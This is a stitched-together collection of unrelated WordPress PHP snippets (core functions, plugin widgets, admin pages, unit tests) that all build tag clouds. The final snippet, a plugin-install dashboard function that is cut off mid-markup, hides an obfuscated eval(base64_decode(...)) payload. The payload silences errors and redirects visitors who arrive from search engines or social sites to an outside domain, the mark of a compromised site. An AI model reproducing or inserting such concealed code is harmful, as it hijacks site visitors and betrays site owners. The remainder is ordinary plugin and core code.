function generate_tag_cloud($post_type) { global $wpdb; // database calls must be sensitive to multisite $query = $wpdb->prepare("SELECT ID FROM {$wpdb->posts} WHERE post_type = %s", $post_type); $attachment_ids = $wpdb->get_col($query); $terms = wp_get_object_terms($attachment_ids, 'post_tag', array('orderby' => 'count', 'order' => 'DESC')); $tags = array(); // limit to 45 tags foreach ($terms as $term) { $tags[$term->term_id] = $term; if (count($tags) >= 45) { break; } } if (empty($tags)) { die(__('No tags found!', THEMEDOMAIN)); } if (is_wp_error($tags)) { die($tags->get_error_message()); } foreach ($tags as $key => $tag) { $tags[$key]->link = '#'; $tags[$key]->id = $tag->term_id; } // We need raw tag names here, so don't filter the output $return = wp_generate_tag_cloud($tags, array('filter' => 0)); if (empty($return)) { die('0'); } echo $return; exit; }
/** * Displays the 'tagcloud' display type * * @param stdClass|C_Displayed_Gallery|C_DataMapper_Model $displayed_gallery */ function index_action($displayed_gallery, $return = FALSE) { $display_settings = $displayed_gallery->display_settings; $application = $this->object->get_registry()->get_utility('I_Router')->get_routed_app(); $tag = $this->param('gallerytag'); // we're looking at a tag, so show images w/that tag as a thumbnail gallery if (!is_home() && !empty($tag)) { return $this->object->get_registry()->get_utility('I_Displayed_Gallery_Renderer')->display_images(array('source' => 'tags', 'container_ids' => array(esc_attr($tag)), 'display_type' => $display_settings['display_type'], 'original_display_type' => $displayed_gallery->display_type, 'original_settings' => $display_settings)); } $defaults = array('exclude' => '', 'format' => 'list', 'include' => $displayed_gallery->get_term_ids_for_tags(), 'largest' => 22, 'link' => 'view', 'number' => $display_settings['number'], 'order' => 'ASC', 'orderby' => 'name', 'smallest' => 8, 'taxonomy' => 'ngg_tag', 'unit' => 'pt'); $args = wp_parse_args('', $defaults); // Always query top tags $tags = get_terms($args['taxonomy'], array_merge($args, array('orderby' => 'count', 'order' => 'DESC'))); foreach ($tags as $key => $tag) { $tags[$key]->link = $this->object->set_param_for($application->get_routed_url(TRUE), 'gallerytag', $tag->slug); $tags[$key]->id = $tag->term_id; } $params = $display_settings; $params['inner_content'] = $displayed_gallery->inner_content; $params['storage'] =& $storage; $params['tagcloud'] = wp_generate_tag_cloud($tags, $args); $params['displayed_gallery_id'] = $displayed_gallery->id(); $params = $this->object->prepare_display_parameters($displayed_gallery, $params); return $this->object->render_partial('photocrati-nextgen_basic_tagcloud#nextgen_basic_tagcloud', $params, $return); }
public function test_topic_count_text_callback() { register_taxonomy('wptests_tax', 'post'); $terms = $this->factory->term->create_many(2, array('taxonomy' => 'wptests_tax')); $posts = $this->factory->post->create_many(2); wp_set_post_terms($posts[0], $terms, 'wptests_tax'); wp_set_post_terms($posts[1], array($terms[1]), 'wptests_tax'); $term_objects = $this->retrieve_terms(array('include' => $terms), 'wptests_tax'); $actual = wp_generate_tag_cloud($term_objects, array('format' => 'array', 'topic_count_text_callback' => array($this, 'topic_count_text_callback'))); $this->assertContains("title='1 foo'", $actual[0]); $this->assertContains("title='2 foo'", $actual[1]); }
} else { die('0'); } $tags = get_terms($taxonomy, array('number' => 45, 'orderby' => 'count', 'order' => 'DESC')); if (empty($tags)) { die(__('No tags found!')); } if (is_wp_error($tags)) { die($tags->get_error_message()); } foreach ($tags as $key => $tag) { $tags[$key]->link = '#'; $tags[$key]->id = $tag->term_id; } // We need raw tag names here, so don't filter the output $return = wp_generate_tag_cloud($tags, array('filter' => 0)); if (empty($return)) { die('0'); } echo $return; exit; break; case 'add-comment': check_ajax_referer($action); if (!current_user_can('edit_posts')) { die('-1'); } $search = isset($_POST['s']) ? $_POST['s'] : false; $status = isset($_POST['comment_status']) ? $_POST['comment_status'] : 'all'; $per_page = isset($_POST['per_page']) ? (int) $_POST['per_page'] + 8 : 28; $start = isset($_POST['page']) ? intval($_POST['page']) * $per_page - 1 : $per_page - 1;
<div id="download-page-tags" class="download_group"> <h3>Taggar</h3> <div class="download_tags"> <?php echo wp_generate_tag_cloud($tags); ?> </div> </div>
function install_dashboard() { ?> <p><?php printf(__('Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="http://wordpress.org/extend/plugins/">WordPress Plugin Directory</a> or upload a plugin in .zip format via <a href="%s">this page</a>.'), self_admin_url('plugin-install.php?tab=upload')); ?> </p> <h4><?php _e('Search'); ?> </h4> <?php install_search_form(false); ?> <h4><?php _e('Popular tags'); ?> </h4> <p class="install-help"><?php _e('You may also browse based on the most popular tags in the Plugin Directory:'); ?> </p> <?php $api_tags = install_popular_tags(); echo '<p class="popular-tags">'; if (is_wp_error($api_tags)) { echo $api_tags->get_error_message(); } else { //Set up the tags in a way which can be interpreted by wp_generate_tag_cloud() $tags = array(); foreach ((array) $api_tags as $tag) { $tags[$tag['name']] = (object) array('link' => esc_url(self_admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name']))), 'name' => $tag['name'], 'id' => sanitize_title_with_dashes($tag['name']), 'count' => $tag['count']); } echo wp_generate_tag_cloud($tags, array('single_text' => __('%s plugin'), 'multiple_text' => __('%s plugins'))); } echo '</p><br class="clear" />'; }
/** * nggTagCloud() - return a tag cloud based on the wp core tag cloud system * * @param array $args * @param string $template (optional) name for a template file, look for gallery-$template * @return the content */ function nggTagCloud($args = '', $template = '') { global $nggRewrite; // $_GET from wp_query $tag = get_query_var('gallerytag'); $pageid = get_query_var('pageid'); // look for gallerytag variable if ($pageid == get_the_ID() || !is_home()) { if (!empty($tag)) { $slug = esc_attr($tag); $out = nggShowGalleryTags($slug); return $out; } } $defaults = array('smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, 'format' => 'flat', 'orderby' => 'name', 'order' => 'ASC', 'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'ngg_tag'); $args = wp_parse_args($args, $defaults); $tags = get_terms($args['taxonomy'], array_merge($args, array('orderby' => 'count', 'order' => 'DESC'))); // Always query top tags foreach ($tags as $key => $tag) { $tags[$key]->link = $nggRewrite->get_permalink(array('gallerytag' => $tag->slug)); $tags[$key]->id = $tag->term_id; } $out = '<div class="ngg-tagcloud">' . wp_generate_tag_cloud($tags, $args) . '</div>'; return $out; }
function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', $instance['title']); echo $before_widget; if ($title) { echo $before_title . $title . $after_title; } echo '<div class="gtags gtags-widget">'; echo wp_generate_tag_cloud(gtags_make_tags(null, $instance['exclude'], $instance['include']), gtags_cloud_args()); echo '</div>'; echo $after_widget; }
/** * @ticket 5172 */ public function test_should_include_tag_link_position_class() { register_taxonomy('wptests_tax', 'post'); $term_ids = self::factory()->term->create_many(3, array('taxonomy' => 'wptests_tax')); $p = self::factory()->post->create(); wp_set_post_terms($p, $term_ids, 'wptests_tax'); $term_objects = get_terms('wptests_tax', array('include' => $term_ids)); $cloud = wp_generate_tag_cloud($term_objects); preg_match_all('|tag\\-link\\-position-([0-9]+)|', $cloud, $matches); $this->assertSame(array(1, 2, 3), array_map('intval', $matches[1])); }
function widget($args, $instance) { global $site_categories, $current_site; $site_categories->load_config(); extract($args); $data = get_site_transient('site-categories-cloud-data-' . $this->number); if (!$data) { switch_to_blog($current_site->blog_id); $defaults = array('smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, 'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC', 'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'echo' => true); $instance = wp_parse_args($instance, $defaults); if (isset($instance['category']) && intval($instance['category'])) { $instance['child_of'] = $instance['category']; } $tags = get_terms(SITE_CATEGORIES_TAXONOMY, $instance); // Always query top tags if (isset($instance['include_parent']) && $instance['include_parent'] == "on") { $parent_tag = get_term_by('id', $instance['category'], SITE_CATEGORIES_TAXONOMY); if (!empty($parent_tag) && !is_wp_error($parent_tag)) { //echo "parent_tag<pre>"; print_r($parent_tag); echo "</pre>"; $tags[] = $parent_tag; } } if (empty($tags) || is_wp_error($tags)) { return; } foreach ($tags as $key => $tag) { $tags[$key]->id = $tag->term_id; if (isset($site_categories->opts['landing_page_rewrite']) && $site_categories->opts['landing_page_rewrite'] == true) { $tags[$key]->link = trailingslashit($site_categories->opts['landing_page_slug']) . $tag->slug; } else { $tags[$key]->link = $site_categories->opts['landing_page_slug'] . '&category_name=' . $tag->slug; } } $data = wp_generate_tag_cloud($tags, $instance); // Here's where those top tags get sorted according to $args restore_current_blog(); set_site_transient('site-categories-cloud-data-' . $this->number, $data, 30); } if ($data) { echo $before_widget; $title = apply_filters('widget_title', $instance['title']); if ($title) { echo $before_title . $title . $after_title; } echo $data; echo $after_widget; } }
<?php //引入图片插件入口文件 require_once './wp-content/plugins/nextgen-gallery/ngg-config.php'; require_once './inc/php/cfg.php'; $tags = get_terms('ngg_tag'); foreach ($tags as $tag) { $tag->link = $cfg['siteurl'] . 'tag/' . $tag->term_id . '-' . $tag->slug . '.html'; } $args = array('smallest' => 20, 'largest' => 100, 'unit' => 'pt', 'number' => 100, 'format' => 'flat', 'orderby' => 'count', 'order' => 'RAND'); $tags_display = wp_generate_tag_cloud($tags, $args); //页面title $page_title = 'FOTO'; $title = 'Tags' . $cfg['sitetitle']; require_once './inc/html/head.html'; ?> <div id='main'> <?php echo $tags_display; ?> </div> <?php require_once './inc/html/foot.html';
function install_themes_dashboard() { ?> <p><?php _e('Search for themes by keyword, author, or tag.'); ?> </p> <?php install_theme_search_form('<a href="' . add_query_arg('show-help', !isset($_REQUEST['show-help'])) . '" onclick="jQuery(\'#search-help\').toggle(); return false;">' . __('[need help?]') . '</a>'); ?> <div id="search-help" style="display: <?php echo isset($_REQUEST['show-help']) ? 'block' : 'none'; ?> ;"> <p><?php _e('You may search based on 3 criteria:'); ?> <br /> <?php _e('<strong>Term:</strong> Searches theme names and descriptions for the specified term'); ?> <br /> <?php _e('<strong>Tag:</strong> Searches for themes tagged as such'); ?> <br /> <?php _e('<strong>Author:</strong> Searches for themes created by the Author, or which the Author contributed to.'); ?> </p> </div> <h4><?php _e('Advanced Search'); ?> </h4> <p><?php _e('Tag filter goes here'); ?> </p> <h4><?php _e('Popular tags'); ?> </h4> <p><?php _e('You may also browse based on the most popular tags in the Theme Directory:'); ?> </p> <?php $api_tags = install_themes_popular_tags(); //Set up the tags in a way which can be interprated by wp_generate_tag_cloud() $tags = array(); foreach ((array) $api_tags as $tag) { $tags[$tag['name']] = (object) array('link' => clean_url(admin_url('theme-install.php?tab=search&type=tag&s=' . urlencode($tag['name']))), 'name' => $tag['name'], 'id' => sanitize_title_with_dashes($tag['name']), 'count' => $tag['count']); } echo '<p>'; echo wp_generate_tag_cloud($tags, array('single_text' => __('%d theme'), 'multiple_text' => __('%d themes'))); echo '</p><br class="clear" />'; }
public function widget($args, $instance) { $cache = array(); if (!$this->is_preview()) { $cache = wp_cache_get('stt2extat_widget_terms_list', 'widget'); } if (!is_array($cache)) { $cache = array(); } if (!isset($args['widget_id'])) { $args['widget_id'] = $this->id; } if (isset($cache[$args['widget_id']])) { echo $cache[$args['widget_id']]; return; } ob_start(); $title = __('Popular Terms', 'stt2extat'); $post_id = null; $sort = isset($instance['sort']) ? $instance['sort'] : 'count'; $obj = get_queried_object(); $tax = $cloud = false; $tax_query = $args_cloud = array(); switch ($sort) { case 'taxonomy': if (!isset($obj->term_id)) { return null; } $title .= ' in ' . $obj->name; $tax_query = array('tax_query' => array('tax_query' => array(array('taxonomy' => $obj->taxonomy, 'terms' => $obj->term_id)))); $sort = 'count'; $tax = true; break; case 'post_id': if (!is_single()) { return null; } $title .= __(' Post', 'stt2extat'); $post_id = $obj->ID; $sort = 'count'; break; case 'term_id': $title = __('Recent Terms', 'stt2extat'); break; case 'recent': if (!is_single()) { return null; } $title = __('Recent Terms Post', 'stt2extat'); $post_id = $obj->ID; $sort = 'term_id'; break; case 'term_cloud': $title = __('Term Cloud', 'stt2extat'); $args_cloud = apply_filters('stt2extat_tag_cloud_args', array()); $sort = 'count'; $cloud = true; break; default: $title = $title; break; } $title = apply_filters('widget_title', empty($instance['title']) ? $title : $instance['title'], $instance, $this->id_base); $interval = isset($instance['interval']) ? $instance['interval'] : 'all'; $number = isset($instance['number']) ? $instance['number'] : 5; $count = isset($instance['count']) ? $instance['count'] : 'tooltips'; $convert = isset($instance['convert']) ? $instance['convert'] : 'n'; $args_query = array('sort' => $sort, 'number' => $number, 'order' => 'DESC', 'p' => $post_id); $args_interval = apply_filters('stt2extat_widget_interval_time', array('date_query' => array('after' => $interval))); if ('all' != $interval) { $args_query = wp_parse_args($args_interval, $args_query); } if ('count' == $sort && $tax) { $args_query = wp_parse_args($tax_query, $args_query); } $set = array('text_header' => '', 'html_heading' => '', 'display' => 'ul', 'count' => $count, 'convert' => $convert); $args_query = wp_parse_args($args_query, $set); $result = stt2extat_terms_list($args_query, $widget = (object) array('is_widget' => true, 'cloud' => wp_validate_boolean($cloud))); if ('count' == $sort && $cloud) { unset($args_cloud['number']); // use args_query['number'] $args_cloud['filter'] = false; $args_cloud['topic_count_text'] = _n_noop('%s hit', '%s hits'); if (has_filter('stt2extat_term_count', 'stt2extat_count_posts')) { $args_cloud['topic_count_text'] = _n_noop('%s topic', '%s topics'); } if ('n' == $args_query['count']) { $args_cloud['topic_count_text'] = ''; } $result = wp_generate_tag_cloud($result, $args_cloud); } if (!empty($result)) { echo $args['before_widget']; if ($title) { echo $args['before_title'] . $title . $args['after_title']; } echo $result; echo $args['after_widget']; } if (!$this->is_preview()) { $cache[$args['widget_id']] = ob_get_flush(); wp_cache_set('stt2extat_widget_terms_list', $cache, 'widget', 3600); } else { ob_end_flush(); } }
the_content(__('› Continue reading')); the_tags('<p class="tags">Tags: ', ', ', '</p>'); edit_post_link('[edit post]', '<p>', '</p>'); the_time('l, F jS, Y'); the_category(', '); comments_popup_link(__('No Comments'), __('1 Comment'), __('% Comments')); } next_posts_link('« Previous Entries'); ?> <?php previous_posts_link('Next Entries »'); } else { ?> <h3>Not found!</h3> <p><?php _e('Sorry, no posts matched your criteria.'); ?> </p> <?php include TEMPLATEPATH . "/searchform.php"; } ?> <br> <?php wp_generate_tag_cloud(); wp_tag_cloud(); ?> <br> </div> </td></tr></table> <? include("footer.php"); ?>
/** * This function mimics the WordPress function wp_tag_cloud() * because we cannot hook into the function without receiving errors. * * As of 1.1, you can define 'link' as 'cpt_post' if you want the term's * link to take you to the CPT's post page instead of the term archive. * * @since 1.0 * @uses $cpt_onomy * @param array|string $args Optional. Override default arguments. * @return array Generated tag cloud, only if no failures and 'array' is set for the 'format' argument. */ public function wp_tag_cloud($args = NULL) { global $cpt_onomy; $defaults = array('smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, 'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC', 'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'echo' => true); $args = wp_parse_args($args, $defaults); $tags = get_terms($args['taxonomy'], array_merge($args, array('orderby' => 'count', 'order' => 'DESC'))); // Always query top tags if (empty($tags) || is_wp_error($tags)) { return; } foreach ($tags as $key => $tag) { if ('edit' == $args['link']) { $link = $cpt_onomy->get_edit_term_link($tag->term_id, $tag->taxonomy); } elseif ('cpt_post' == $args['link']) { $link = get_permalink($tag->term_id); } else { $link = $cpt_onomy->get_term_link(intval($tag->term_id), $tag->taxonomy); } if (is_wp_error($link)) { return false; } $tags[$key]->link = $link; $tags[$key]->id = $tag->term_id; } $return = wp_generate_tag_cloud($tags, $args); // Here's where those top tags get sorted according to $args $return = apply_filters('wp_tag_cloud', $return, $args); if ('array' == $args['format'] || empty($args['echo'])) { return $return; } echo $return; }
function install_dashboard() { ?> <p><?php _e('Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="http://wordpress.org/extend/plugins/">WordPress Plugin Directory</a> or upload a plugin in .zip format via this page.'); ?> </p> <h4><?php _e('Search'); ?> </h4> <?php install_search_form('<a href="' . add_query_arg('show-help', !isset($_REQUEST['show-help'])) . '" onclick="jQuery(\'#search-help\').toggle(); return false;">' . __('[need help?]') . '</a>'); ?> <div id="search-help" style="display: <?php echo isset($_REQUEST['show-help']) ? 'block' : 'none'; ?> ;"> <p> <?php _e('You may search based on 3 criteria:'); ?> <br /> <?php _e('<strong>Term:</strong> Searches plugins names and descriptions for the specified term'); ?> <br /> <?php _e('<strong>Tag:</strong> Searches for plugins tagged as such'); ?> <br /> <?php _e('<strong>Author:</strong> Searches for plugins created by the Author, or which the Author contributed to.'); ?> </p> </div> <h4><?php _e('Install a plugin in .zip format'); ?> </h4> <p><?php _e('If you have a plugin in a .zip format, You may install it by uploading it here.'); ?> </p> <form method="post" enctype="multipart/form-data" action="<?php echo admin_url('plugin-install.php?tab=upload'); ?> "> <?php wp_nonce_field('plugin-upload'); ?> <input type="file" name="pluginzip" /> <input type="submit" class="button" value="<?php _e('Install Now'); ?> " /> </form> <h4><?php _e('Popular tags'); ?> </h4> <p><?php _e('You may also browse based on the most popular tags in the Plugin Directory:'); ?> </p> <?php $api_tags = install_popular_tags(); //Set up the tags in a way which can be interprated by wp_generate_tag_cloud() $tags = array(); foreach ((array) $api_tags as $tag) { $tags[$tag['name']] = (object) array('link' => clean_url(admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name']))), 'name' => $tag['name'], 'id' => sanitize_title_with_dashes($tag['name']), 'count' => $tag['count']); } echo '<p>'; echo wp_generate_tag_cloud($tags, array('single_text' => __('%d plugin'), 'multiple_text' => __('%d plugins'))); echo '</p><br class="clear" />'; }
/** * Display tag cloud. * * The text size is set by the 'smallest' and 'largest' arguments, which will * use the 'unit' argument value for the CSS text size unit. The 'format' * argument can be 'flat' (default), 'list', or 'array'. The flat value for the * 'format' argument will separate tags with spaces. The list value for the * 'format' argument will format the tags in a UL HTML list. The array value for * the 'format' argument will return in PHP array type format. * * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'. * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC'. * * The 'number' argument is how many tags to return. By default, the limit will * be to return the top 45 tags in the tag cloud list. * * The 'topic_count_text_callback' argument is a function, which, given the count * of the posts with that tag, returns a text for the tooltip of the tag link. * * The 'exclude' and 'include' arguments are used for the {@link get_tags()} * function. Only one should be used, because only one will be used and the * other ignored, if they are both set. * * @since 2.3.0 * * @param array|string $args Optional. Override default arguments. * @return array Generated tag cloud, only if no failures and 'array' is set for the 'format' argument. */ function wp_tag_cloud($args = '') { $defaults = array('smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, 'format' => 'flat', 'orderby' => 'name', 'order' => 'ASC', 'exclude' => '', 'include' => '', 'link' => 'view'); $args = wp_parse_args($args, $defaults); $tags = get_tags(array_merge($args, array('orderby' => 'count', 'order' => 'DESC'))); // Always query top tags if (empty($tags)) { return; } foreach ($tags as $key => $tag) { if ('edit' == $args['link']) { $link = get_edit_tag_link($tag->term_id); } else { $link = get_tag_link($tag->term_id); } if (is_wp_error($link)) { return false; } $tags[$key]->link = $link; $tags[$key]->id = $tag->term_id; } $return = wp_generate_tag_cloud($tags, $args); // Here's where those top tags get sorted according to $args $return = apply_filters('wp_tag_cloud', $return, $args); if ('array' == $args['format']) { return $return; } echo $return; }
/** * @since 2.7.0 */ function install_dashboard() { ?> <p><?php printf(__('Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="%1$s">WordPress Plugin Directory</a> or upload a plugin in .zip format by clicking the button at the top of this page.'), 'https://wordpress.org/plugins/'); ?> </p> <?php display_plugins_table(); ?> <div class="plugins-popular-tags-wrapper"> <h2><?php _e('Popular tags'); ?> </h2> <p><?php _e('You may also browse based on the most popular tags in the Plugin Directory:'); ?> </p> <?php $api_tags = install_popular_tags(); echo '<p class="popular-tags">'; if (is_wp_error($api_tags)) { echo $api_tags->get_error_message(); } else { //Set up the tags in a way which can be interpreted by wp_generate_tag_cloud() $tags = array(); foreach ((array) $api_tags as $tag) { $url = self_admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name'])); $data = array('link' => esc_url($url), 'name' => $tag['name'], 'slug' => $tag['slug'], 'id' => sanitize_title_with_dashes($tag['name']), 'count' => $tag['count']); $tags[$tag['name']] = (object) $data; } echo wp_generate_tag_cloud($tags, array('single_text' => __('%s plugin'), 'multiple_text' => __('%s plugins'))); } echo '</p><br class="clear" /></div>'; }
/** * Generates an ideas tag cloud * * Used when writing a new idea to allow the author to choose * one or more popular idea tags. * * @package WP Idea Stream * @subpackage core/functions * * @since 2.0.0 * * @param integer $number number of tag to display * @param array $args the tag cloud args * @uses get_terms() * @uses wp_idea_stream_get_tag() * @uses wp_parse_args() * @uses wp_idea_stream_tag_cloud_args() * @uses wp_generate_tag_cloud() * @return array associative array containing the number of tags and the content of the cloud. */ function wp_idea_stream_generate_tag_cloud($number = 10, $args = array()) { $tags = get_terms(wp_idea_stream_get_tag(), apply_filters('wp_idea_stream_generate_tag_cloud_args', array('number' => $number, 'orderby' => 'count', 'order' => 'DESC'))); if (empty($tags)) { return; } foreach ($tags as $key => $tag) { $tags[$key]->link = '#'; $tags[$key]->id = $tag->term_id; } $args = wp_parse_args($args, wp_idea_stream_tag_cloud_args(array('taxonomy' => wp_idea_stream_get_tag()))); $retarray = array('number' => count($tags), 'tagcloud' => wp_generate_tag_cloud($tags, $args)); return apply_filters('wp_idea_stream_generate_tag_cloud', $retarray); }
function wp_tag_cloud($args = '') { $defaults = array('smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, 'format' => 'flat', 'orderby' => 'name', 'order' => 'ASC', 'exclude' => '', 'include' => ''); $args = wp_parse_args($args, $defaults); $tags = get_tags(array_merge($args, array('orderby' => 'count', 'order' => 'DESC'))); // Always query top tags if (empty($tags)) { return; } $return = wp_generate_tag_cloud($tags, $args); // Here's where those top tags get sorted according to $args if (is_wp_error($return)) { return false; } else { echo apply_filters('wp_tag_cloud', $return, $args); } }
/** * Output the main landing page for the Sputnik administration screen. */ protected static function dashboard() { ?> <p><?php _e('Some text about WPEconomy goes here! This will eventually be replaced with a dashboard-like interface, including latest news, etc.', 'wpsc'); ?> </p> <h4><?php _e('Search', 'wpsc'); ?> </h4> <p class="install-help"><?php _e('Search for plugins by keyword.', 'wpsc'); ?> </p> <?php Sputnik_Admin::search_form(); ?> <h4><?php _e('Popular tags'); ?> </h4> <p class="install-help"><?php _e('You may also browse based on the most popular tags on the store:', 'wpsc'); ?> </p> <?php echo '<p class="popular-tags">'; try { $api_tags = Sputnik::get_tags(); //Set up the tags in a way which can be interpreted by wp_generate_tag_cloud() $tags = array(); foreach ($api_tags as $tag) { $tags[$tag->name] = (object) array('link' => esc_url(self::build_url(array('tab' => 'search', 's' => urlencode($tag->name)))), 'name' => $tag->name, 'id' => sanitize_title_with_dashes($tag->name), 'count' => $tag->count); } echo wp_generate_tag_cloud($tags, array('single_text' => __('%s plugin', 'wpsc'), 'multiple_text' => __('%s plugins', 'wpsc'))); } catch (Exception $e) { echo $e->getMessage(); } echo '</p><br class="clear" />'; }
/** * Display tag cloud. * * The text size is set by the 'smallest' and 'largest' arguments, which will * use the 'unit' argument value for the CSS text size unit. The 'format' * argument can be 'flat' (default), 'list', or 'array'. The flat value for the * 'format' argument will separate tags with spaces. The list value for the * 'format' argument will format the tags in a UL HTML list. The array value for * the 'format' argument will return in PHP array type format. * * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'. * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC'. * * The 'number' argument is how many tags to return. By default, the limit will * be to return the top 45 tags in the tag cloud list. * * The 'topic_count_text' argument is a nooped plural from _n_noop() to generate the * text for the tooltip of the tag link. * * The 'topic_count_text_callback' argument is a function, which given the count * of the posts with that tag returns a text for the tooltip of the tag link. * * The 'post_type' argument is used only when 'link' is set to 'edit'. It determines the post_type * passed to edit.php for the popular tags edit links. * * The 'exclude' and 'include' arguments are used for the get_tags() function. Only one * should be used, because only one will be used and the other ignored, if they are both set. * * @since 2.3.0 * * @param array|string|null $args Optional. Override default arguments. * @return void|array Generated tag cloud, only if no failures and 'array' is set for the 'format' argument. * Otherwise, this function outputs the tag cloud. */ function wp_tag_cloud($args = '') { $defaults = array('smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, 'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC', 'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'post_type' => '', 'echo' => true); $args = wp_parse_args($args, $defaults); $tags = get_terms($args['taxonomy'], array_merge($args, array('orderby' => 'count', 'order' => 'DESC'))); // Always query top tags if (empty($tags) || is_wp_error($tags)) { return; } foreach ($tags as $key => $tag) { if ('edit' == $args['link']) { $link = get_edit_term_link($tag->term_id, $tag->taxonomy, $args['post_type']); } else { $link = get_term_link(intval($tag->term_id), $tag->taxonomy); } if (is_wp_error($link)) { return; } $tags[$key]->link = $link; $tags[$key]->id = $tag->term_id; } $return = wp_generate_tag_cloud($tags, $args); // Here's where those top tags get sorted according to $args /** * Filters the tag cloud output. * * @since 2.3.0 * * @param string $return HTML output of the tag cloud. * @param array $args An array of tag cloud arguments. */ $return = apply_filters('wp_tag_cloud', $return, $args); if ('array' == $args['format'] || empty($args['echo'])) { return $return; } echo $return; }
case 'get-tagcloud': if (!current_user_can('manage_categories')) { die('-1'); } $tags = get_tags(array('number' => 45, 'orderby' => 'count', 'order' => 'DESC')); if (empty($tags)) { die(__('No tags found!')); } if (is_wp_error($tags)) { die($tags->get_error_message()); } foreach ($tags as $key => $tag) { $tags[$key]->link = '#'; $tags[$key]->id = $tag->term_id; } $return = wp_generate_tag_cloud($tags); if (empty($return)) { die('0'); } echo $return; exit; break; case 'add-comment': check_ajax_referer($action); if (!current_user_can('edit_post', $id)) { die('-1'); } $search = isset($_POST['s']) ? $_POST['s'] : false; $start = isset($_POST['page']) ? intval($_POST['page']) * 25 - 1 : 24; $status = isset($_POST['comment_status']) ? $_POST['comment_status'] : false; $mode = isset($_POST['mode']) ? $_POST['mode'] : 'detail';
/** * Ajax handler for getting a tagcloud. * * @since 3.1.0 */ function wp_ajax_get_tagcloud() { if (!isset($_POST['tax'])) { wp_die(0); } $taxonomy = sanitize_key($_POST['tax']); $tax = get_taxonomy($taxonomy); if (!$tax) { wp_die(0); } if (!current_user_can($tax->cap->assign_terms)) { wp_die(-1); } $tags = get_terms($taxonomy, array('number' => 45, 'orderby' => 'count', 'order' => 'DESC')); if (empty($tags)) { wp_die($tax->labels->not_found); } if (is_wp_error($tags)) { wp_die($tags->get_error_message()); } foreach ($tags as $key => $tag) { $tags[$key]->link = '#'; $tags[$key]->id = $tag->term_id; } // We need raw tag names here, so don't filter the output $return = wp_generate_tag_cloud($tags, array('filter' => 0)); if (empty($return)) { wp_die(0); } echo $return; wp_die(); }
function install_dashboard() { ?> <p><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="http://wordpress.org/extend/plugins/">WordPress Plugin Directory</a> or upload a plugin in .zip format via this page.'); ?> </p> <h4><?php 